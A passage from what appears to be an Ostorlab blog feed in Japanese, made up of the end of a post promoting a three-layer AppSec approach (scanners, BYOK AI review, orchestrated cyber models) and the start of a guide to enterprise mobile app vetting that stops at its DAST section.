&lt;p&gt;&lt;strong&gt;詳細記事はこちら：&lt;/strong&gt;エンジニアリングチームを誤検知（フォールスポジティブ）で溺れさせることなく、ノイズを排除するために従来型スキャナーを積極的にチューニングする方法を知りたい方は、近日公開予定の技術解説『&lt;em&gt;レイヤー1：ルールの復活、SASTとDASTを味方につける&lt;/em&gt;』をお待ちください。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h3 id="レイヤー2:byokセマンティックレビュー"&gt;レイヤー2：BYOKセマンティックレビュー&lt;/h3&gt;
&lt;p&gt;明白な問題が取り除かれると、より難しい問いが始まります。
* このユーザーはこの操作を実行することを許可されているか
* このOAuthフローはstateを正しく検証しているか
* このリダイレクトURIは安全か
* 機密データがログに記録されていないか
* このプルリクエストは、認可チェックをこっそり回避していないか&lt;/p&gt;
&lt;p&gt;これらは必ずしもスキャナーで扱える問題ではありません。コンテキストが必要です。ここでAIが役に立ちますが、非常に重要な注意点が一つあります。自社の独自コードを、公開ツールに安易に貼り付けるべきではないということです。&lt;/p&gt;
&lt;p&gt;セキュリティチームにはAIの支援が必要ですが、同時に、プライバシー、コンプライアンス、監査可能性、そしてコードがどのように処理されるかに対する制御も必要です。だからこそ、2番目のレイヤーは単に「AIを使う」ことではありません。&lt;strong&gt;BYOK（Bring Your Own Key）&lt;/strong&gt;アーキテクチャを中心に構築された、プライベートなセマンティックレビューなのです。&lt;/p&gt;
&lt;p&gt;BYOKとは、顧客管理の鍵、テナント分離、制限されたログ記録、明確な保持ポリシー、そしてプロンプトと出力の安全な取り扱いを意味します。このレイヤーは、プライベートなAIのピアレビュアーのように機能します。コードをコンテキストの中で調べ、そのロジックがセキュリティの観点から本当に筋が通っているかを問うことができます。&lt;/p&gt;
&lt;p&gt;正規表現ベースのスキャナーが見逃してしまうロジックの欠陥を捉えるには、セマンティックなAIのコンテキストがどうしても必要であることを示す実例として、&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/one-scheme-to-rule-them-all.html"&gt;OAuthによるアカウント乗っ取り（「One Scheme to Rule Them All」）&lt;/a&gt;&lt;/strong&gt;の解説をご覧ください。従来型のスキャナーはOAuthの実装を見ても、構文としては完全に正しいと判断します。変数は正しく宣言され、エンドポイントは想定どおりの文字列に一致しているからです。 &lt;/p&gt;
&lt;p&gt;しかし、安全なBYOK環境で動作する、コンテキストを理解するAIのピアレビュアーは、実際のロジックフローを分析できます。アプリケーションがstateパラメーターを適切に検証していない、あるいはカスタムのリダイレクトURIスキームを安全に扱っていないために、認証フロー全体が傍受やアカウント乗っ取りに対して脆弱になっていることを見抜けます。文字がどう入力されているかだけでなく、アプリケーションが何を&lt;em&gt;しようとしているか&lt;/em&gt;を理解しているからこそ、欠陥を捉えられるのです。&lt;/p&gt;
&lt;p&gt;それが構文とセマンティクスの違いです。レイヤー2が最も適しているのは次の用途です。
* プルリクエストのレビュー
* 認可ロジックと認証フロー
* 機密データの移動
* カスタムフレームワークの分析
* 社内のセキュアコーディング標準
* 開発者向けの修復ガイダンス&lt;/p&gt;
&lt;p&gt;レイヤー1が問うのは、&lt;em&gt;「この既知の悪いものを以前に見たことがあるか」&lt;/em&gt;です。レイヤー2が問うのは、&lt;em&gt;「このコードは、このアプリケーションのセキュリティモデルにおいて筋が通っているか」&lt;/em&gt;です。こちらのほうが強力な問いです。同時に、より高価な問いでもあります。だからこそ、すべてに使うべきではありません。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;詳細記事はこちら：&lt;/strong&gt;自社環境にこれを安全にデプロイするために必要な具体的なインフラストラクチャ、オープンウェイトモデルの選定、ネットワークアーキテクチャに興味のある方は、次回の記事『&lt;em&gt;レイヤー2：AIピアレビュー、安全なコード分析のためのオープンウェイトモデルとBYOKの実装&lt;/em&gt;』をお待ちください。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h3 id="レイヤー3:深い推論のためのサイバーモデル"&gt;レイヤー3：深い推論のためのサイバーモデル&lt;/h3&gt;
&lt;p&gt;セキュリティ上の問題の中には、複数のコンポーネントが相互作用したときにしか現れないものがあります。Webhookがキューに書き込みます。ワーカーがペイロードを処理します。内部サービスがそのワーカーを信頼します。管理用エンドポイントがその結果を利用します。個々の部分は単独では問題なく見えます。脆弱性はチェーンの中に現れます。&lt;/p&gt;
&lt;p&gt;これは基本的なスキャナーの問題ではありません。攻撃経路の問題です。&lt;/p&gt;
&lt;p&gt;レイヤー3は、Mythosのような最先端の推論システムに代表される、専門特化したサイバーモデルが役立つ領域です。これらのモデルは、深いアーキテクチャレビュー、エクスプロイトチェーンの分析、モバイルプラットフォームの悪用、クラウドの権限経路、高リスクなシステムの監査に有用です。&lt;/p&gt;
&lt;p&gt;しかし、素のモデルだけでは十分ではありません。構造を持たないまま巨大なコードベースに強力なモデルを向けるのは、天才インターンにリポジトリ全体を渡し、地図も脅威モデルも与えず、エスプレッソを無制限に飲ませるようなものです。何かは起こるでしょう。それが役に立つかどうかは別の話です。&lt;/p&gt;
&lt;p&gt;パズルの決定的なピースは、&lt;strong&gt;ハーネス&lt;/strong&gt;、つまりモデルを取り巻くオーケストレーションレイヤーです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;素のLLM（エンジン）&lt;/strong&gt;：ベースとなる推論エンジンです。巨大なフロンティアモデルは、深い推論や、複雑でマルチホップのエクスプロイトチェーンをつなぎ合わせることに驚くほど優れています。一方、小型のモデルはスピードとスケールをもたらします。しかし、Mythosのような最上位のフロンティアモデルを無邪気にコードベース全体へ向けると、たった1回のスキャンで、何万ドルもの計算コストをいとも簡単に燃やしてしまいかねません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ハーネス（オーケストレーター）&lt;/strong&gt;：汎用的なAIを、武器化されたサイバーツールへと変える本当の秘伝のソースです。ハーネスとは、ワークフローのロジック、エージェントのルーティング、コンテキスト管理といったエンジニアリング上のラッパーです。どの専門エージェントをどのタイミングで動かすかを厳密に決め、必要なコンテキストだけを与え、AIの出力に本来備わる予測不能性（非決定性）を管理し、ノイズを容赦なく重複排除して、検証済みで対応可能な検出結果を提供します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ハーネスは、高価なモデルが本当の価値を生み出せる場所でのみ使われるようにします。&lt;/p&gt;
&lt;p&gt;マルチホップの攻撃経路や、深く埋もれたプラットフォームのライフサイクルを追跡するために、なぜこのようにオーケストレーションされた「重火器」が必要なのかをはっきりと示す例として、&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/android-intent-redirection.html"&gt;Androidのインテントリダイレクション：攻撃と修正&lt;/a&gt;&lt;/strong&gt;の解説をご覧ください。複雑なモバイルアプリケーションでプロセス間通信（IPC）の脆弱性を見つけることは、構文ルールや単一関数のセマンティックチェックでは不可能です。オペレーティングシステムのライフサイクル全体をモデル化し、エクスポートされた個別のコンポーネントがどのように互いにメッセージを渡すかを理解し、一見無害な不正な形式のデータパッケージが境界を越えて、アプリケーションレイヤーの奥深くで特権的な動作を引き起こす様子を追跡できるエンジンが必要です。オーケストレーションされたサイバーモデルはここで真価を発揮し、アプリケーションアーキテクチャ全体にまたがる、プラットフォーム固有の深い攻撃グラフを描き出します。&lt;/p&gt;
&lt;p&gt;レイヤー3は、すべてのコミットのためのものではありません。高リスクな局面のためのものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;ユースケース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;重要である理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;メジャーリリース&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;大きなアーキテクチャ変更は、システムをまたぐリスクを生む。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;重要モジュール&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証、決済、暗号、アイデンティティは、より深いレビューに値する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エクスプロイトチェーンの分析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連鎖して初めて意味を持つ脆弱性がある。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイルセキュリティ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;IPC、インテント、権限、ライフサイクルの挙動は非常に複雑。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クラウドアーキテクチャ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;IAM、ネットワーク、ストレージ、サービスアイデンティティは微妙な形で相互作用する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;インシデント対応&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;深い推論によって、関連する未把握の弱点を追跡できる。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;レイヤー3は強力ですが、計算負荷が高いものです。歯ブラシのようにではなく、重機のように使ってください。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;詳細記事はこちら：&lt;/strong&gt;フロンティアAIをオーケストレーションし、実際の攻撃者のように考えさせるために設計されたエンジニアリング上のラッパーを構築すると何が起きるのか。近日公開予定の技術解説『&lt;em&gt;レイヤー3：重火器、深いアーキテクチャレビューのためにフロンティアモデルを活用する&lt;/em&gt;』をお待ちください。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h3 id="プラットフォームの選択:web/クラウドかネイティブモバイルか"&gt;プラットフォームの選択：Web/クラウドかネイティブモバイルか&lt;/h3&gt;
&lt;p&gt;これら3つのテストレイヤーを理解することは重要ですが、それらを効果的に実装するには、アセットのクラスが根本的に異なることを認識する必要があります。クラウドネイティブなWebアプリケーションを保護するためにテストエンジンを積み重ねる方法は、コンパイルされた低レベルのモバイルバイナリを監査するために構成する方法とはまったく異なります。 &lt;/p&gt;
&lt;p&gt;自社チーム固有のリスクベクトルとアーキテクチャ上のフットプリントを、適切なプラットフォームのアプローチに対応付けるために、以下の選択マトリクスをご活用ください。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;選択基準&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Aikido &amp;amp; XBOW&lt;br/&gt;&lt;em&gt;（Web、クラウド、リポジトリ重視）&lt;/em&gt;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab&lt;br/&gt;&lt;em&gt;（モバイル、ピンポイントなAI重視）&lt;/em&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;主なリスクベクトル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webアプリケーション、SaaSプラットフォーム、API、従来型のソフトウェアコードベース。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ネイティブモバイルアプリケーション（Android &lt;code&gt;.apk&lt;/code&gt;、iOS &lt;code&gt;.ipa&lt;/code&gt;、HarmonyOS &lt;code&gt;.hap&lt;/code&gt;）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;環境の重点&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドインフラストラクチャ、コンテナセキュリティ、クラウド設定の衛生管理。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低レベルのOSデバッグプロトコル（JDWP/LLDB）を使用した、実際のモバイルハードウェア環境。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;コード評価のスタイル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;広範なコードベースの衛生管理（SAST、SCA、依存関係の追跡、オープンソースライセンスのコンプライアンス）。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;深いバイナリ解析（バイトコードのリバースエンジニアリング、逆コンパイル、テイント追跡）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;データとシリアライゼーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;標準的なWebのデータフロー（REST、一般的なJSON API、基本的なGraphQL）。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複雑なモバイルのシリアライゼーション（Protobuf、gRPC、モバイルファーストのGraphQL、独自プロトコルのファジング）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIスキャンの手法&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;広範で自律的なWebエクスプロイトの計画と、全範囲のリポジトリスキャン。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個々のアセットに対する、ピンポイントで局所的なAIによるスポットチェック（SVAおよびDig Deeperのインライントリアージによる）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;対象となるエンジニアリングチーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DevOps、クラウドネイティブのエンジニア、フルスタックのWeb開発者、AppSecのジェネラリスト。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ネイティブモバイル開発者、モバイルセキュリティの専門家、スピードが求められるバグバウンティのトリアージチーム。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="自社チーム向けのまとめチェックリスト"&gt;自社チーム向けのまとめチェックリスト&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;💡 AikidoまたはXBOWを選ぶべき場合&lt;/strong&gt;：主な関心事が、Webアプリケーションの保護、リポジトリの依存関係の整理、クラウド設定の監視、広範なソフトウェアサプライチェーンの脆弱性の防止である場合。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🎯 Ostorlabを選ぶべき場合&lt;/strong&gt;：最も重要な資産がモバイルアプリである場合、（SSLピンニングのような）複雑なクライアント側の防御を回避する必要がある場合、あるいはセキュリティチームが大規模なフルスイートのスキャンを実行することなく、特定の個別のバグバウンティの報告を迅速に検証する必要がある場合。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h3 id="コストこそがスケールの問題"&gt;コストこそがスケールの問題&lt;/h3&gt;
&lt;p&gt;コストは些細な話ではありません。コストによって、セキュリティ制御が現代の開発のスピードで実際に動作できるかどうかが決まります。チェックが安価であれば、あらゆる場所で実行できます。高価であれば、いつ実行するかを選ぶ必要があります。非常に高価であれば、それ相応の十分な理由が必要です。&lt;/p&gt;
&lt;p&gt;だからこそ、AIだけに頼るテストは破綻します。現代のソフトウェアチームは、コミット、パッケージ、コンテナ、API、設定、生成されたコードを絶えずプッシュしています。そのすべてに深いAI分析を実行するのは持続可能ではありません。スケーラブルなAppSecプログラムは、設計段階からコストを意識したものでなければなりません。
1. 安価なチェックを常時実行する。
2. コンテキストが重要な場合にセマンティックレビューを実行する。
3. 深い推論がコストに見合う場合にサイバーモデルを実行する。&lt;/p&gt;
&lt;p&gt;雰囲気ではなく、リスクに基づいてエスカレーションしてください。最良のセキュリティシステムとは、最も高級なモデルをあらゆる場所で使うシステムではありません。適切なレベルの分析を適切なタイミングで使うシステムです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;レイヤー&lt;/th&gt;
&lt;th style="text-align: left;"&gt;得意なこと&lt;/th&gt;
&lt;th style="text-align: left;"&gt;得意ではないこと&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;スキャナー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;シークレット、CVE、設定ミス、既知のパターン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ビジネスロジック&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;BYOKセマンティックレビュー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証フロー、データの移動、独自ロジック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;システム全体にわたるエクスプロイトチェーン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;サイバーモデル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;深い攻撃経路、アーキテクチャレビュー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;安価な継続的スキャン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらのレイヤーは競合するものではありません。AIモデルがパッケージをインポートするコードを読むためにサイクルを無駄にする前に、スキャナーが既知の脆弱なパッケージを捉えるべきです。BYOKセマンティックレビュアーは、スキャナーが明白な問題を片付けた後で認可ロジックを分析すべきです。サイバーモデルは、一つの関数、一つのファイル、一つのプルリクエストよりも大きな問いのために取っておくべきです。&lt;/p&gt;
&lt;p&gt;こうして、2つの典型的な失敗パターンを避けることができます。
*   &lt;strong&gt;スキャナーだけのAppSec&lt;/strong&gt;：安価で高速だが、浅すぎる。
*   &lt;strong&gt;AIだけのAppSec&lt;/strong&gt;：部分的には強力だが、高価で、不完全で、ノイズが多い。&lt;/p&gt;
&lt;p&gt;答えは、スキャナーかAIかではありません。まずスキャナー、次にプライベートなAIレビュー、そして正当化される場合にはサイバーモデルです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="魔法の箱はない。あるのはスタックだけ"&gt;魔法の箱はない。あるのはスタックだけ&lt;/h3&gt;
&lt;p&gt;あらゆる脆弱性クラス、あらゆるビジネスルール、あらゆるCVE、あらゆる依存関係、あらゆるクラウドの権限、あらゆるモバイルのライフサイクル、あらゆるエクスプロイトチェーンを、完璧な精度と許容できるコストで理解する単一のAIプラットフォームは存在しません。それは製品カテゴリーではありません。調達部門向けのおとぎ話です。&lt;/p&gt;
&lt;p&gt;AppSecの未来は、「AIがすべてをスキャンする」ことではありません。未来は階層型のテストです。可能な場所では高速に、必要な場所ではプライベートに、正当化される場所では深く。&lt;/p&gt;
&lt;p&gt;正直に言えば、当社は魔法の箱を作ったわけではありません。そんなものは存在しないとわかっていますし、それを売りつけて皆さんの知性を侮辱するつもりもありません。その代わりに当社は、まさにこの3層の現実のために明確に設計された、現実的なエンジニアリングのワークベンチとしてプラットフォームを設計しました。単一のモデルや単一のツールにすべてをやらせることはしません。ノイズを早い段階で排除するための、非常に高速で堅牢なレイヤー1のルールエンジンを提供します。知的財産を危険にさらすことなく、プライベートでコンテキストを理解したレイヤー2のレビューのためにBYOK（Bring Your Own Key）を利用できる、分離されたアーキテクチャを提供します。そして、クラウドの予算を溶かすことなく、Mythosのようなレイヤー3のモデルが持つフロンティアの力を武器として活用するために必要な、精密なマルチエージェントのオーケストレーションハーネスを設計しました。 &lt;/p&gt;
&lt;p&gt;当社が売るのは銀の弾丸ではありません。当社が提供するのはスタックです。&lt;/p&gt;</content><category term="Security"/><category term="AppSec"/><category term="Security Testing"/><category term="AI"/><category term="SAST"/><category term="DAST"/><category term="BYOK"/></entry><entry><title>モバイルアプリベッティング決定版ガイド：エンタープライズのアプリエコシステムを守る</title><link href="https://blog.ostorlab.co/ja/definitive-guide-mobile-app-vetting.html" rel="alternate"/><published>2026-06-19T10:08:00+02:00</published><updated>2026-06-19T10:08:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-06-19:/ja/definitive-guide-mobile-app-vetting.html</id><summary type="html">&lt;p&gt;本ガイドでは、業務上の摩擦を生むことなく企業のデータ資産を保護するエンタープライズ向けモバイルアプリベッティング戦略を構築するために必要な、アーキテクチャ、リスク評価手法、導入フレームワークを包括的に解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;従業員は毎日、何十ものアプリケーションをモバイル端末にダウンロードしています。そうした端末は、企業のデータレイク、クラウド環境、社内ネットワーク基盤に対して、認証済みの直接的な経路を持っています。従業員はただ、業務をより効率的に進めるために、生産性向上ツールやコミュニケーションクライアント、タスク自動化ユーティリティを探しているにすぎません。&lt;/p&gt;
&lt;p&gt;公開アプリストアは、基本的で明白なマルウェアを排除します。しかし、社内のコンプライアンス基準、データプライバシー上の義務、隠れたソフトウェアサプライチェーンのリスクまでは審査しておらず、そもそも審査することもできません。&lt;/p&gt;
&lt;p&gt;さらに、従来の「ウォールドガーデン」型のモバイルセキュリティのあり方は根本的に変化しました。欧州連合のデジタル市場法（DMA）のような画期的な国際的規制を背景に、モバイルOSは代替アプリマーケットプレイス、サイドローディング、独立したWebベースのアプリ配信に対してエコシステムを開放するよう法的に義務付けられました。同時に、ソフトウェア開発のスピードはかつてない水準に達しています。生成AIツールがモバイル開発を加速させ、アプリケーションはこれまでにない速さで構築・更新されています。しかし、このスピードは深刻なリスクをもたらします。Veracode GenAI Code Security Reportの実証データによると、AIが生成したコードの45%に構造的なセキュリティ脆弱性が含まれています。&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションは、中央集権的なプラットフォームガバナンスを完全に迂回する分散したチャネルを通じて、企業のエンドポイントに到達しています。この分散した環境でセキュリティを維持するには、基本的なデバイス管理から、自動化された高度なバイナリ解析と振る舞い解析へと移行する必要があります。これこそが、モバイルアプリベッティング（Mobile App Vetting、MAV）の目的です。&lt;/p&gt;
&lt;p&gt;本ガイドでは、業務上の摩擦を生むことなく企業のデータ資産を保護するエンタープライズ向けモバイルアプリベッティング戦略を構築するために必要な、アーキテクチャ、リスク評価手法、導入フレームワークを包括的に解説します。&lt;/p&gt;
&lt;h2 id="モバイルアプリベッティングとは"&gt;モバイルアプリベッティングとは&lt;/h2&gt;
&lt;p&gt;モバイルアプリベッティングとは、iOSおよびAndroidのアプリケーションパッケージを、企業管理端末やBYOD（私物端末の業務利用）端末での実行を許可する前に、セキュリティ、プライバシー、コンプライアンスの各ポリシーからなる標準化されたマトリクスに照らして、プログラムによって厳密に評価（審査・検証）するプロセスです。&lt;/p&gt;
&lt;p&gt;従来のデスクトップシステムとは異なり、モバイルOSは厳格なサンドボックスの原則に基づいて動作します。サンドボックスは、あるアプリが別のアプリの隔離されたメモリ空間を直接侵害することを防ぎます。その一方で、端末側で重い処理を行う従来型のウイルス対策ソフトウェアが、アプリケーションのディレクトリツリーをスキャンすることも妨げてしまいます。&lt;/p&gt;
&lt;p&gt;その結果、一般的なエンドポイント検知ツールは、アプリケーションレベルの脆弱性を事実上まったく検知できません。最新のモバイルアプリケーションセキュリティテスト（MAST）フレームワークでは、アプリケーションの真のリスク態勢を明らかにするために、その基盤となるコンパイル済みのパッケージバイナリ、リアルタイムの実行時オーケストレーション、バックグラウンドでデータを共有している接続先エンドポイントを評価する必要があります。&lt;/p&gt;
&lt;h2 id="アーキテクチャ上の盲点:mdmとmtdだけでは不十分な理由"&gt;アーキテクチャ上の盲点：MDMとMTDだけでは不十分な理由&lt;/h2&gt;
&lt;p&gt;ITおよびセキュリティ部門のリーダーの間には、モバイルデバイス管理（MDM）やモバイル脅威防御（MTD）のプラットフォームを導入すればモバイルアプリケーションのリスクは解決する、という根強い誤解があります。実際には、これらのツールだけに頼ると、セキュリティ上の大きな空白が生じます。&lt;/p&gt;
&lt;p&gt;包括的な防御レイヤーを構築するには、これらの技術がアーキテクチャとスコープの面でどのように異なるのかを理解することが不可欠です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;モバイルセキュリティのレイヤー&lt;/th&gt;
&lt;th style="text-align: left;"&gt;プロアクティブなバイナリ内容解析&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実行時のデバイス監視&lt;/th&gt;
&lt;th style="text-align: left;"&gt;管理インフラのガバナンス&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイルデバイス管理（MDM）&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（例：Microsoft Intune、Workspace ONE）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;あり&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（パスワード、OSアップデート、リモートワイプ、アプリのプロビジョニングを強制）&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイル脅威防御（MTD）&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（例：エンドポイントエージェント）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;あり&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（ネットワーク上のリアルタイムの脅威、ジェイルブレイク、OSレベルのエクスプロイトを監視）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイルアプリベッティング / MAST&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（パッケージレベルの解析）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;あり&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（コンパイル済みコード、組み込みのソフトウェア開発キット（SDK）、データの衛生状態を網羅的にスキャン）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;シミュレーション&lt;/strong&gt;&lt;br/&gt;&lt;em&gt;（計装された隔離サンドボックス内でアプリを実行）&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="「サイレントなバージョンアップデート」の落とし穴"&gt;「サイレントなバージョンアップデート」の落とし穴&lt;/h3&gt;
&lt;p&gt;ITチームが特定の市販既製品（COTS）アプリケーションを初日に手作業でレビューして承認したとしても、そのアプリケーションは24時間以内に企業にとって深刻な負債へと変わる可能性があります。モバイルソフトウェアは、バックグラウンドで継続的に更新されます。ごく小さなパッチによって、脆弱なオープンソースライブラリ、ハードコードされた認証情報、過剰な広告トラッキングSDKが持ち込まれることがあり、しかもユーザーもIT部門も変更が起きたことにまったく気づきません。真のセキュリティには、自動化された継続的なパッケージレベルの検証が必要です。&lt;/p&gt;
&lt;h2 id="モバイルアプリベッティングを支える3つの技術的な柱"&gt;モバイルアプリベッティングを支える3つの技術的な柱&lt;/h2&gt;
&lt;p&gt;安全なアプリベッティングのパイプラインでは、独自開発またはサードパーティのバイナリパッケージファイル、具体的にはAndroidの.apkパッケージやiOSの.ipaアーカイブを、次の3つの中核的な解析トラックにかけて評価します。&lt;/p&gt;
&lt;h3 id="1. 静的アプリケーションセキュリティテスト(sast)"&gt;1. 静的アプリケーションセキュリティテスト（SAST）&lt;/h3&gt;
&lt;p&gt;SASTは、実行前の逆アセンブルされたソースコードやバイナリ構造に対して、内側から外側へ向かう（インサイドアウトの）解析を行います。いわば、自動化された網羅的なコードレビューです。AI支援の開発ツールは、過去のセキュリティ負債を大量に抱えた巨大な公開リポジトリで学習しているため、安全でないアンチパターンを頻繁に再現してしまいます。&lt;/p&gt;
&lt;p&gt;NYU Center for Cybersecurityによる先駆的な実証研究では、AIアシスタントが脆弱なコードを生成する割合はおよそ40%であることが示されました。その結果、本番環境のアプリでは基礎的なコーディングミスが依然として非常に広く見られます。かなりの割合のモバイルアプリケーションで、ハードコードされた暗号鍵や暗号化されていないAPIトークンがバイナリ内に直接含まれています。&lt;/p&gt;
&lt;p&gt;SASTフェーズでは、ベッティングシステムが次の項目をスキャンします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ハードコードされたシークレット：&lt;/strong&gt; 開発者が誤って本番パッケージに残してしまった暗号鍵、クラウドストレージの認証情報、データベースのパスワード、非公開APIのエントリポイント。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全でない暗号プリミティブ：&lt;/strong&gt; 電子コードブック（ECB）モードの暗号など、破られた、あるいは脆弱な暗号アルゴリズムの使用。攻撃者はこれを利用して、データ構造を容易にリバースエンジニアリングできてしまいます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードインジェクションの脆弱性：&lt;/strong&gt; SQLインジェクション、ローカルのパストラバーサル、あるいはインテントの検証を回避してしまう安全でないディープリンク設定の影響を受けやすい、外部に公開されたアプリケーションコンポーネント。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2. 動的アプリケーションセキュリティテスト(dast)"&gt;2. 動的アプリケーションセキュリティテスト（DAST）&lt;/h3&gt;
